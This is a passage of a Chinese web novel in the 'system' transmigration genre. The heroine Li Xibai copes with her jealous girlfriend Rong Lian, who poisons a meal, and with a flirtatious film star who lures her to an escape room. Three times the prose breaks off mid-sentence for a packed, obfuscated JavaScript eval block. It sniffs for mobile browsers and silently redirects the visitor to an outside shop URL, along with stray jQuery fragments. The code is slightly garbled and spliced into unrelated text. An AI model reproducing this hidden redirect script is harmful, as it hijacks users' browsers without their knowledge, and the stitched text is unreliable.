李惜白实在受不了,这家伙挑不出来还不让她走,必须老老实实呆在这陪她。
大姐,你不是大明星吗?你不是很忙吗?你到底在这做什么啊?
李惜白伸了根手指:“就这家,别选了。”
“不行哦,”顾轻水摇摇头,“快餐不太健康。”
“那这家呢?”
“这家看着不干净。”
“这个!”
“这个店名太难听了。”
“我不吃了。“
“欸?可以吗?不吃点东西一会儿会累的。”顾轻水一脸真心为她着想的坦诚样。
这一天到晚都是什么事啊……李惜白深吸一口气,“大姐,我求你了,让我走吧,我还有事呢。”
顾轻水歪着头“嗯?”一声,十分不解的模样,慢慢又靠上前来,轻抚着她的脸:“那我们快一点?”
李惜白只好又哭丧着脸推开她:“我不是这个意思。”
这家伙是在求偶期吗?
顾轻水却一把抓住她的双手,往沙发上压去,柔顺金发如阳光般倾泻而下。
她表情认真道:“我会很快的。”
李惜白愣了一瞬,大力挣扎起来,顾轻水力气比不上容莲,完全控制不住她,李惜白趁机跑进了离自己最近的一个房间,靠着门无力坐下。
这家伙绝对绝对绝对是个变态!
她坐地上缓了半天,目光不经意扫过房间的布置,萎靡的双眼顿时瞪大了,整个人石化一般一动都不敢动。
床上摆的人形抱枕,墙上贴的海报和照片,铺天盖地地罩住她。
更可怕的是,这个被贴了满墙的人,她认识。
李青。
李惜白咽了咽口水,她有些明白顾轻水口中的朋友是谁了。
身后传来轻轻敲门的声音。
“惜白,抱歉,我今晚临时有工作,可能不能陪你了。”顾轻水的声音。
比起给外面的人开门,李惜白更害怕呆在这个诡异的房间里。
她轻轻开了一条缝,就看见了顾轻水开朗的笑容。
“我刚刚打电话让人来接你了,应该马上就能到。”
这副真诚纯良的样子,简直让李惜白怀疑刚才一切都是自己的臆想。
她犹豫片刻,最终还是走出去。
顾轻水不知道什么时候给自己扎了个丸子头,白色蝴蝶结翩翩地要飞起来,耳边垂着碎发,多了几分温柔气质。
她望着李惜白,优雅地笑着。
李惜白也对她尴尬笑笑。
顾轻水伸手想为她整衣领,被李惜白灵巧躲过。
门铃在这时候响起。
李惜白要去开门,却又被顾轻水捉住,有条不紊地为她整衣领。
门铃声又响了一遍。
顾轻水微微探下脑袋,蜻蜓点水般在她睫毛上吻了一下。
门铃声更加急促了。
“去开门吧。”顾轻水轻笑一下。
李惜白逃也似地来到门口,在手搭上门把手的一瞬,听到了门外人的声音。
冰冷无比,没有任何温度。
“阿白。”
22. 你下药?
李惜白的心突然震了一下,手悬在门把上迟迟摁不下去。
“阿白,开门。”外面人仿佛可以隔着门看到她。
“怎么了?”顾轻水走过来,见李惜白依旧愣着不动,便覆上李惜白放在门把上的手,慢慢往下压。
门被拉开,容莲单薄的身影出现在眼前。
她穿得很少,唇色浅淡,脸颊苍白,大概是来得匆忙,连件外套都没有。
顾轻水对她优雅微笑:“这次来得倒很快。”
容莲只是垂眼看着两人相握的手。
李惜白慌忙抽出自己的手,心虚地低下头,却仍感到一股冷飕飕的目光在盯着自己。
顾轻水没有丝毫被嫌弃的不适,淡笑着主动解释:“小莲,你千万不要误会,惜白刚刚绝对没有要求我对她做些奇怪的事,也绝对没有很热情地回应我……”
李惜白实在听不下去这人造谣式的解释,一把抓住她的胳膊拽到一边,压低声问:“你到底想干什么?”
顾轻水因为这过近的距离愣了一下,眨了眨眼,自然地亲了上去。
李惜白炸了。
浑身通电一般炸了,慌乱地退后几步,下意识往容莲的方向看去。
容莲依旧面无表情地看着她们。
感觉小白花要杀人是怎么回事……
死了半天的系统突然复活:“恭喜宿主成功出轨被捉,我已经感受到主角受浓浓的怨气了!请宿主再接再厉!”
“宿主!不要低头!要直面主角受!告诉她!没错!你就是出轨了!”系统撕心裂肺地喊。
这家伙程序错乱了吧……
李惜白当然知道,不管剧情乱成什么样子,渣攻都是不能和正攻一起出轨的。
完了,自己的脑子也错乱了。
那头顾轻水已经拎起包,戴上墨镜,恢复了光鲜亮丽大明星的气场,若无其事地对两人浅笑几下:“司机已经到楼下了,我先走了。”
说完,踩着黑高跟迈进电梯,甚至还有闲心冲她们挥手告别。
随着电梯运行,空气安静下来。
李惜白咽咽口水,不太敢转头,也不知道该说什么:“其实……”
“我辞职了。”容莲轻声道。
“啊,什么时候?”李惜白有点意外。
“今天下午。”
李惜白蹙起眉来,李青这个人怎么这么多变,上午还夸容莲好,下午就炒了她?
“是我主动辞的。”容莲的声音平静无波,带着一种奇怪的淡然。
李惜白心虚地瞥她一眼,表情也无任何异样。
良久,容莲转头对她微笑了一下:“阿白,我们回家吧。”
仿佛一切都相安无事。容莲依旧对她微笑,依旧问她今晚想吃什么,依旧万分体贴温柔。
只是那双眼中不再有温度,像是彻底心死了一般。
然而容莲越是这样平静,李惜白就越不安。
打车回家的路上,容莲一直望着车窗外。
随着夜幕降临,外面的霓虹灯渐次亮起,慢慢点燃这个城市。
容莲眼中映衬着那些光彩夺目的东西,不甘心地看了一遍又一遍,却知道留不住半片辉光。
因为它从不属于自己。
*
鞋子里蜷着一个毛茸茸的小东西。
它顾头不顾尾地缩进鞋里装死,身体微微打着颤,站在旁边都能感受到它的心跳。
这是只小三花。
没等李惜白伸手去摸,容莲就把她抓了出来,拎进笼子里。
猫嗷嗷叫着,不满就此失去自由。
“哪来的猫?”李惜白好奇凑过去,用玩偶去逗它。它的左耳朵是橘色的,右耳朵是黑色的,身上的花纹搅成一团,正扒着笼门向外看。
“同事送的。”
“哪个同事?”
“你不认识。”
“哦。”
虽然气氛有些诡异,但比起渣攻贱受要死要活的情节来说,还能这样不尴不尬的对话,李惜白挺知足了。
“饭做好了我会叫你。”自从回来后,容莲的话就变得极其简洁。
她看一眼笼子里的猫,皱眉道:“别让它咬到。”
“哦。”
容莲大概不太喜欢宠物,再加上她有洁癖,李惜白猜测这小家伙以后怕是很难出笼子了。
看着容莲进了厨房,李惜白偷偷摸摸把小三花从笼子里放出来,本想是和它玩一玩,没想到这小家伙一出来就飞一般溜进沙发底下,怎么叫都不出来。
李惜白只好跪在地上,上身趴下去看沙发缝,装猫妈妈一样“喵”个不停,一开始小三花还弱弱回应着,到后来不知道是嫌李惜白太烦,还是累睡着了,一点声也没了。
李惜白又不依不饶地叫了半天,连容莲都听不下去,从厨房出来,把沙发移开,再把猫抓笼子里,顺便把水换了一遍。
这期间,容莲一个眼神都没给过趴在地上的李惜白,动作娴熟老练,像收拾垃圾一样。
李惜白尴尬地起身,多嘴问:“取名字了吗?”
容莲没有理她,大概是嫌弃她又给自己增加工作量,
猫主人都没发话,李惜白自然是不好擅自取名字的。她一直想养一只猫,一是因为讨厌老鼠,二是因为她从小就心疼汤姆猫。
每次在孤儿院吃完晚饭看动画片,播到汤姆被那只老鼠耍得团团转时,周围小孩都笑个没完,就她自己莫名生老鼠的气。
工作后总跟着剧组跑来跑去,怕猫不适应多变的环境,也就没敢养。
总是想着再多挣些钱,慢慢稳定下来,有了空闲时间,再去养一只猫。
可钱是挣不完的。
而现在,却真的有一只猫蹭在自己鞋边了。
李惜白蹲下身摸摸它的头,转头问一旁的容莲:“为什么又放出来了?”
容莲依旧没说话,不好说她这种状态是聋了还是哑了,总之不太正常。她的目光停在李惜白身上很久,终于说了一句:
“饭好了。”
*
容莲握着筷子,望着眼前的菜出神,脸上没有丝毫气色,仿佛一片白纸。
李惜白瞄了她几眼,没看出什么门道,便心安理得地夹起一朵西兰花,谁知道西兰花刚沾到嘴唇,就被突然站起的容莲伸手打掉了。
连筷子都摔在了地上,发出清脆的声音。
靠着桌子腿睡觉的小三花被吓醒,站起来悠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16757980|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
悠踱步到筷子边,低头嗅了嗅,顿时嫌恶地离开了。
李惜白作疼地揉着手腕,皱眉看她:“你这是做什么?”
容莲的眼眶莫名发起红来,垂着头不说话。
“到底怎么了?”李惜白看着她沉默,心里也有些难受。
“没事,你吃吧。”
这样还没事就有鬼了。
李惜白心里大概有了猜测,拿过容莲还未用过的筷子,又夹了一筷菜。
容莲慢慢抬起头看她。
“知道下药了为什么还要吃?”
李惜白装傻,“什么药?”
“农药。”
李惜白放了筷子,稍微点点头:“味道确实很大。”
“放了两瓶。”容莲一直看着她,眼底沉寂一片。
完全奔着要她死的念头来的……这家伙不是小白莲,是潘金莲。
李惜白有些发怵,知道自己现在应该表现得愤怒、惊骇,觉得对方无可饶恕,掀桌走人。
可是做不到。
李惜白不是影后影帝,她只是个演技稀烂、每天都被导演骂的小演员。
她做不到完全贴合角色,从角色的角度看任何事物。
更何况这个潘金莲要哭了。
“宿主,看来主角受已经对你恨之入骨了,”系统用一种哀叹的声音感慨道,“希望宿主未来还能好好活着。”
其实李惜白并不记得主角受有爱哭的设定,但自从上一次容莲因为找自己找了太久而哭了后,这家伙哭的频率就越来越高了。
李惜白起身给她抽了两张纸巾,硬塞进她手里,然后坐在自己位子上托腮看她。
容莲握着那团揉乱的纸去蘸眼泪,纸顿时湿了一半。
见是这种状况,李惜白干脆去拿了一卷纸,抱在怀里给她送纸。
饭菜都凉了,容莲也实在哭不出来了,却见李惜白还不厌其烦地给她扯纸,仿佛不会累一样。
容莲不知道的是,李惜白被惩罚24小时不能睡觉,如果她有能力哭一晚上,李惜白也可以这样陪她一晚上。
见容莲有停下来的趋势,李惜白终于有空问出自己感兴趣好久的问题:“你为什么哭的时候没有声音啊?”
“……不知道。”
李惜白:“没事,这样挺酷的。”
容莲用哭干了泪的眼看她。
李惜白再给她递一张纸:“真的,我就想这样。”
容莲依旧静静地看着她。
李惜白有些尴尬,不知道自己又说了什么不该说的,目光从容莲身上偏开,扫一眼满桌的毒饭菜,起身道:“我收拾一下吧。”
容莲突然轻笑了一下。
自己在克制些什么呢?
一些拿不上台面的冲动,一些令人发笑的想法。
如果眼前人真的死掉就好了。
如果能将这个人轻飘飘地从自己生命中摘除就好了。
可每一次想杀死她,就像要杀掉自己一样,身体的本能在拼命抵抗着。
为什么呢?不是已经在看到她和那个女人在一起后,就彻底心死了吗?
“喂……”李惜白担心地看着她,轻轻把手贴上她额头,“你是不是发烧了?“
23. 你不爱我
覆上额头的手很凉,冰得容莲很不舒服,她微微垂了眼,声音很低:“没有。”
上午才低血糖晕过,下午又挨了一路冻,晚上更是尽职尽责地下了一桌毒,这样累下去,不出毛病才奇怪。
李惜白去找了体温计来,让她好好夹着。
虽然容莲想毒死她,却还是很听她的话,老老实实测了体温,拿出来一看,三十七度七。
的确不算很高,可也不怎么正常,尤其再配上容莲那一脸苦大仇深的枯花样,是个人看了都想给她浇浇水,李惜白也不忍心就这样放着她不管。
李惜白给她冲了杯感冒药,放到温的时候再递过去,尽量把声音放得柔一点:“吃点药,今晚早点睡吧。“
——“宿主。”
容莲抬头看她一眼,乖乖伸手接过来。
——“宿主。”
李惜白皱眉:“苦?”
“没有。”容莲又在死鸭子嘴硬。
李惜白去卧室床头柜翻了翻,果然找到一小罐水果糖,里面掺杂着叠成千纸鹤彩纸,五颜六色的,看着很有少女心。
——“宿主。”
李惜白从卧室出来,把糖罐塞容莲怀里:“有这个就不苦了。”
容莲看着怀里的糖罐,有些出神。
——“宿主。“
……
你烦不烦啊!
李惜白在心里怒吼,她实在忍无可忍了。
容莲握杯的手抖了一下。
李惜白对容莲勉强笑一笑,“我去一下卫生间。”
*
关上门,李惜白脸上的温良顿时褪去,压低声音不悦道:“你老叫我干什么?”
“宿主,”系统兴冲冲地发言,“我是想说,你为什么不就这个机会,把主角受赶出家门呢?”
“这样的话,主角受精神和身体双重痛苦,一定会很惨的!我们的目的就达到了啊!”
李惜白犹豫了一会儿,慢条斯理问:“你能不能变成人形让我打一顿?”
“这样会推进剧情吗?”
“会。”
“宿主,”系统的语气不太好,“你该不会是喜欢上主角受了吧?”
“你先变了再说。”
“宿主,”系统试图好言相劝,”你要知道,不管你怎样努力,主角受最后都不会属于你的。”
“你先变。”
“……”
“那你好自为之吧!”系统生气了。
“哈。”李惜白才不管它生没生气,没有再理它,不爽地推了门出去。
容莲还坐在那盯着糖罐发呆,听见门开的动静,稍稍转了头过来。
杯子里的药还一口没喝,已经凉了。
李惜白走过来看她一眼,把凉掉的药拿去倒掉,又冲了一杯。
“快点喝,一会儿又凉了。”李惜白刚才和系统吵架的怒气还没消下来,语气很生硬。
“阿白,”容莲从糖罐里拿起一个粉色千纸鹤,笑得很甜,“你还记得吗,我们认识第一年,你送我的生日礼物。”
“你说你叠了很久,里面是写给我的信,让我每年生日打开一个。”
容莲像是烧糊涂了,完全忘记刚才下毒的事。
“不记得了,”李惜白冷漠回道,“先喝药吧。”
她当然不想和容莲回忆那个人渣。
“其实有好几年的我都没看,每次都怕撕坏了……”
——烦死了。
容莲的笑容慢慢止住,空气无声凝滞了一会儿。
李惜白没意识到她的异常,又把药往前挪了挪:“喝啊。”
容莲低下头盖子拧上,一声不吭地起身去洗漱了。
留下李惜白一个人和那杯药面面相觑。
系统幸灾乐祸地“哈”一声:“宿主,我希望你明白,主角受现在喜欢的是那个渣攻,而不是你。”
“……你好烦。”
李惜白无力地捞过在一边蹭自己裤腿的小三花,揽进怀里摸头。
*
李惜白用指尖一下下点着茶桌,目光扫过周围,处处打扫得干净明亮,却除了她之外没再有半个客人,服务员是个头发花白的老太太,此时正戴着老花镜坐在门口看报纸。
关于李青为什么非要在这个快倒闭的茶馆里见面,李惜白找不到理由。
清晨微凉的白光落到她身上,她烦躁地揉了揉脸,感觉自己的灵魂在蒸发。
一晚上没有睡了。
昨晚是李惜白第一次觉得自己比猫还要夜猫子,到最后连三花都不耐烦再被她摸,一溜烟从她手里跑掉去睡觉,她却依旧没有丝毫睡意。
凌晨两点的时候,她实在忍不住,躲到浴室和系统又吵了一架。
系统冲她耀武扬威:“你终于意识到惩罚的可怕了吧?”
……
睡眠不足催生出的亢奋感让周围的一切都很恍惚,李惜白按着额头,给李青打去电话。
“你什么时候到?”李惜白问。
那头迟疑了片刻,才像突然想起什么一样答道:“很快。”
隐隐约约的背景音从电话里传过来:“李总,下午的会议……”
“你还在公司?”李惜白不解,“你不是说有事要找我吗?”
那边是长久的沉默,随后挂了电话。
在这时,老太太终于看完报纸,慢慢走进来,和蔼地看了李惜白一眼。
“上楼吧,她还在睡呢。”
李惜白的右眼皮莫名跳了一下。
*
二楼的装饰明显要比一楼更用心,连楼梯上的雕花都精致,中式的窗棂搭配木制吊顶,地板是仿古青砖,墙面是墙上悬着几幅水墨画,连灯光和湿度都控制得细致入微。
“我带你去她房间。”老太太微笑着拉上她的手。
李惜白觉得她的笑容很熟悉,却一时想不出在哪见过。
吱呀一声开了门,老太太轻轻推着李惜白进去,而后自顾自出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16765730|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关了门。
李惜白一头雾水,正打算再给李青打个电话,一个金色的身影就闪现在眼前。
李惜白差点被晃瞎。
有时候她真想问问顾轻水用的是什么洗发水。
眼前人穿了一身宽松的白色蕾丝裙,明明只是很普通的款式,到她身上却衬得像礼裙,再来点装饰就可以走红毯了。
顾轻水双手背在身后,乖巧地对着她微笑,并不说话。
大姐,你这样真的很诡异啊……
李惜白咽下心里的话,迟疑片刻:“是你让李青撒谎骗我的?”
“撒谎?”顾轻水疑惑了一下,“抱歉惜白,我刚睡醒,脑子不太清楚……可以让我先换个衣服吗?”
这居然只是睡衣吗……
顾轻水见她停在原地不动,微笑道:“你如果想看我换衣服的话——”
“不用了,”李惜白立刻把头转过去,“你先换。”
身后响起几声轻笑,“不要回头哦。”
……
“好了吗?”面壁思过了整整半小时的李惜白有些站不住了。
本来缺觉就烦,等人换衣服更是烦上加烦,何况她还是毫无理由被骗到这的。
“转过来吧。”贵气的声线在身后响起。
李惜白立刻转了身,却没料到顾轻水靠自己这么近,这一转,鼻梁正好碰到她嘴唇,甚至能感受到她轻微的喘息。
没等李惜白反应过来,顾轻水就先稍微后退了一步。
李惜白尴尬地摸摸鼻子,却发现那人穿的依旧是那身衣服,根本就没换。
原来这人纯粹在逗她玩。
“欸?”顾轻水发现了什么,突然伸手摸上她的脸,微微皱眉,“你的黑眼圈怎么这么严重。”
“难道,你昨晚……”顾轻水捂嘴惊讶,“惜白,你们这么没有节制的吗?”
李惜白盯了她一会儿,面无表情道:“一点都不好笑。”
顾轻水笑了几下,“奇怪,我最近明明有在练幽默感。”
李惜白沉默。
她不知道这个人骗自己来是什么意思,可她知道,就算今天顾轻水不找自己,日后自己也是要去找她的。
作为除了主角外最重要的人物,顾轻水的线是绝对不能偏的。
不同于只能给主角受提供些许情绪价值的其它攻,顾轻水可以给她绝对安心的靠山,可以为她铺平未来的一切道路,可以托举她到最高的顶峰。
如果想获得完美大结局,顾轻水必须要爱上容莲。
李惜白忽略掉那道一直望自己的目光,生硬开口:“你对容莲,是什么看法?”
顾轻水微微一愣,随即答道:“容莲啊,我很喜欢她呢。”
“真的?”
顾轻水点点头:“作为一个最受欢迎的人,却遇上一个最不喜欢她的人,这不是件很有意思的事吗?”
“所以,你在追求她?”
“是哦。”顾轻水微微笑着。
24. 因为你喜欢的人是我
李惜白微微一愣,带着几分迟疑道:“那你昨天对我……?”
“嗯?”顾轻水扬起耀眼的微笑,“我昨天对你怎么了吗?”
空气僵持了好几秒。
“哈哈,”李惜白笑得很不自然,“你不知道容莲是我女朋友吗?”
“知道啊。”顾轻水从容自若到了一种欠打的地步。
“你知道还……”
顾轻水轻轻摇头,打断了她的话:“因为你们之间有一道逾越不了的鸿沟,是注定不能在一起的,我只是在为你们的未来着想。”
“什么鸿沟?”李惜白隐隐有不好的预感。
顾轻水叹了一口气,满是惋惜道:“虽然容莲很喜欢你,但你喜欢的人是我,她终究是不能如愿的。”
……
李惜白扶额。
自信也不要自信到这个地步啊。
“大姐,你到底哪只眼看出我喜欢你啊?”
“两只眼都看出来了哦,”顾轻水弯着笑眼看她,停顿一会儿又道,“惜白,以后可不可以不要这么喊我?”
李惜白停了停,低头说了句“抱歉”。
可能这个称呼的确有些冒犯。
等再抬起头,却见顾轻水笑得一脸春心荡漾,脸颊爬上诡异的绯红:“我还是更喜欢你喊我主人。”
*
桌子上摆了一杯刚沏好的绿茶,用素白的瓷杯盛着,冒着袅袅白汽。
李惜白端起来浅啜了一口,实在品不出什么特别。
对面的顾轻水却捧着杯子喝得一脸陶醉。
“你那杯是什么?”李惜白忍不住问。
“黑咖啡。”
“很好喝?”
顾轻水放下杯子,严肃道:“想吐。”
“……你明明喝得很开心。”
“因为我不想露出痛苦的表情,那样会破坏我的完美性。”顾轻水回答得很认真,丝毫没察觉这话里浓浓的中二味。
“哦……”李惜白点点头,并不想理解这人的脑回路,“所以你骗我来到底是为什么?”
顾轻水摇头:“我并没有骗你,我只是和李青说,如果她能让你来我这里,我就投资她的项目……”
“停停停,”李惜白不想听这扎心的亲情背叛,“那你叫我来做什么?”
“欸?你不想见我吗?”
“完全不想。”
“口是心非,”顾轻水轻轻摇头,“惜白现在一点也不坦诚。”
“因为我根本就不是——”话说到一半,突然卡了壳,失眠导致的精神虚浮让李惜白又开始发晕。
算了,她不想再因此被那个狗系统惩罚一次。
“根本就不是什么?“
李惜白萎靡地瞥她一眼,“没什么。“
“好,那我们走吧。“顾轻水和变魔法一样掏出墨镜戴上,金发盘起藏在鸭舌帽里,再戴上黑色口罩,变成了小偷完全体,扔到街上就可以偷手机了。
“啊?去哪?“李惜白觉得这人思路比她还跳脱。
“游乐园。“
*
“你放开我!“
“可是戴上这个会安全一点。”
“我又不是明星!我不需要!“李惜白奋力推开她,只是戴个口罩而已,这人都要亲上来了。
“那好吧。”顾轻水遗憾地收回手。
李惜白觉得自己真是缺觉缺糊涂了,居然真的被顾轻水拉上了车。
她想问系统该怎么办,可由于昨晚吵架后她俩默认冷战,李惜白实在拉不下面子主动开口。
路上顾轻水的手机一直响,她挂了一遍又一遍,最后干脆关机,眼不见心不烦。
“小姐,”司机还是想劝一劝,“您经纪人有些生气,最好还是回个电话。”
“等明天再说吧。”顾轻水平静地回,随即像想到什么一样,重新开机拨了个电话。
“嗯嗯。”顾轻水对着手机点头。
“她当然在我身边啊。”
“放心啦,什么都没有做。”
……
把电话挂掉,顾轻水扭过头主动报备:“给容莲打的。”
?这人炫耀什么呢。谁问她了。
李惜白觉得她真是莫名其妙。
“恭喜宿主!如今主角受和攻一的感情已经进行得如火如荼!看来马上就可以进行下一个剧情点了!”
系统这突然的一下把李惜白吓得不轻,拍胸口缓了半天,顾轻水还以为她犯病,差点就让车掉头去医院了。
“我没事……”李惜白无力道。
顾轻水拍了拍她的背,“不舒服可以告诉我。”
李惜白扫她一眼:“我晕车,你让我下去。”
“欸?这个不行。”顾轻水无辜眨眨眼,“惜白,你好狡猾。”
……谢谢,你也很油。
*
店门口挂着刻意做出恐怖效果、却依旧不尽人意的招牌,上面写着“惊悚游乐园”五个血色大字,张牙舞爪地像要抓人,两侧门画则满了各种扭曲低级的鬼脸。
这是家密室逃脱店。
也不知道顾轻水从哪个犄角旮旯里搜刮出来的。
李惜白被无语笑了:“这就是你说的游乐园?”
“嗯!”全副武装的顾轻水用力点头。
李惜白忍不住去扯她帽子:“你这样真的不会被认出吗?”
顾轻水把帽子摆正,思索片刻,迟疑道:“应该不会吧。”
“被认出来会怎么样?”
“嗯……也就是上几条热搜而已啦。”
而已啦。
而已啦哈哈哈。
这人为什么总爱若无其事地炫耀?
进了大门,里面光线很昏暗,也并没有人。门后两个音响滋滋啦啦播放着诡异的钢琴曲,穿插着几声凄厉的鬼叫。
一楼空间很小,墙上画着一只漆黑巨手向右指向电梯,下方是一行血淋淋的小字——“亲亲,请上二楼哦。”
由于这语气和氛围实在不搭,李惜白不太能入戏,转过头看身边的影后,影后还在努力把帽子压得再低一点,显然也没被吓到。
摁开电梯门,门口的音响瞬间停住,大门“哐”一声关上,微弱的光线全部消失。
大概过了十几秒,电梯内才亮起红灯,正对着她们的电梯内壁慢慢浮现出两个张扬血字:请进。
顾轻水很听话地走了进去,转身对李惜白招手,甚至镜片还反射着艳红的光:“来呀来呀。”
李惜白不太懂她的兴奋点,但大门都已经关上,现在再出去就很扫兴了。
电梯在缓慢上行时,李惜白恶毒地想了一下如果容莲来到这的场景。
怕是可以直接晕进
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16776948|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
医院,哈哈。
电梯门打开,热闹的声音涌进,残存的恐怖气氛被打破。
“不好意思,我们这边最少四个人才能开场,您需要再等一下。”
“哈哈哈你刚刚都被吓成什么样子了,还硬撑啊?”
“我不是预约的下午吗?为什么给我改成明天了?”
……
从电梯门刚出来就是前台,侧墙上装饰着一只巨大的羊头,门边站着一个铠甲战士,甚至还有探着贞子脑袋的老式电视,过于杂乱的元素倒显得有些搞笑。
几个小姐姐在前台接着电话,见有人来,一个人扬着笑脸迎上来。
顾轻水退后半步,把李惜白推到前面。
“你好,咱们有预约吗?尾号多少?”
李惜白扭头问顾轻水:“有吗?”
“有……”顾轻水报了尾号,把手放在帽檐上往下摁,生怕被认出来。
小姐姐对她笑了笑,“您朋友已经到了,还在休息室等你们。”
“好的。”顾轻水礼貌点点头,拉着还在研究羊头雕塑的李惜白就往里走。
一路随工作人员来到休息室,在推门之前对方才忍不住说:“妹妹,你的气质好像一个明星啊。”
顾轻水微笑一下:“是那个Iris吗,好多人都说我像她。”
“对,就是她。”
“那我以后可以去直播假冒她了呢。”
……
影后不愧是影后,说谎都不打草稿。李惜白在她身后默默吐槽,试图把自己的手抽出来。
小姐姐笑着推开门进去,房间不算大,三条沙发围起来,上面只坐着两个人。
其中一个散着红白渐变的头发,翘着二郎腿坐在沙发上,手上捧了一本像餐单的册子。
听见门开的动静,原星抬头看一眼她们两个,烦闷道:“你们选一个吧,感觉都不好玩。”
顾轻水凑到原星旁边,指尖点到一页上,“这个讲的什么?”
“女寝鬼故事。”
“那页呢?”
“精神病院。”
“那这个呢?”
“鬼新娘。”
……
选择困难症患者开始陷入纠结。
李惜白却听不进她们的讨论,目光一直凝聚在另一个人身上。
一个扶着额头半倒在沙发上发晕的人。
原星顺着李惜白的视线看了一眼,解释道:“她刚刚坐电梯吓到了,还没缓过来。”
“恭喜宿主解锁新增剧情,密室逃脱!”系统的声音再次贯彻大脑。
“讥讽主角受的胆小懦弱,在危急时刻展现渣攻的毫无担当,并推动主角受与攻一的感情进展!”
这声音把李惜白震得有些发愣,她看着容莲,说不出话。
“惜白,怎么了?”顾轻水注意到李惜白状态不对,把她拉到一边低声问。
李惜白看她一眼,犹豫着问:“你为什么……要把容莲叫来?”
顾轻水自然回道:“都说了,我在追求她啊。”
……你最好是。
李惜白现在已经不信顾轻水的鬼话了,可系统却对此深信不疑。
“宿主,你做的很棒,看来攻一已经深深迷恋上主角受了。”
李惜白默默翻了个白眼,不答话。她还没有忘记与系统的冷战。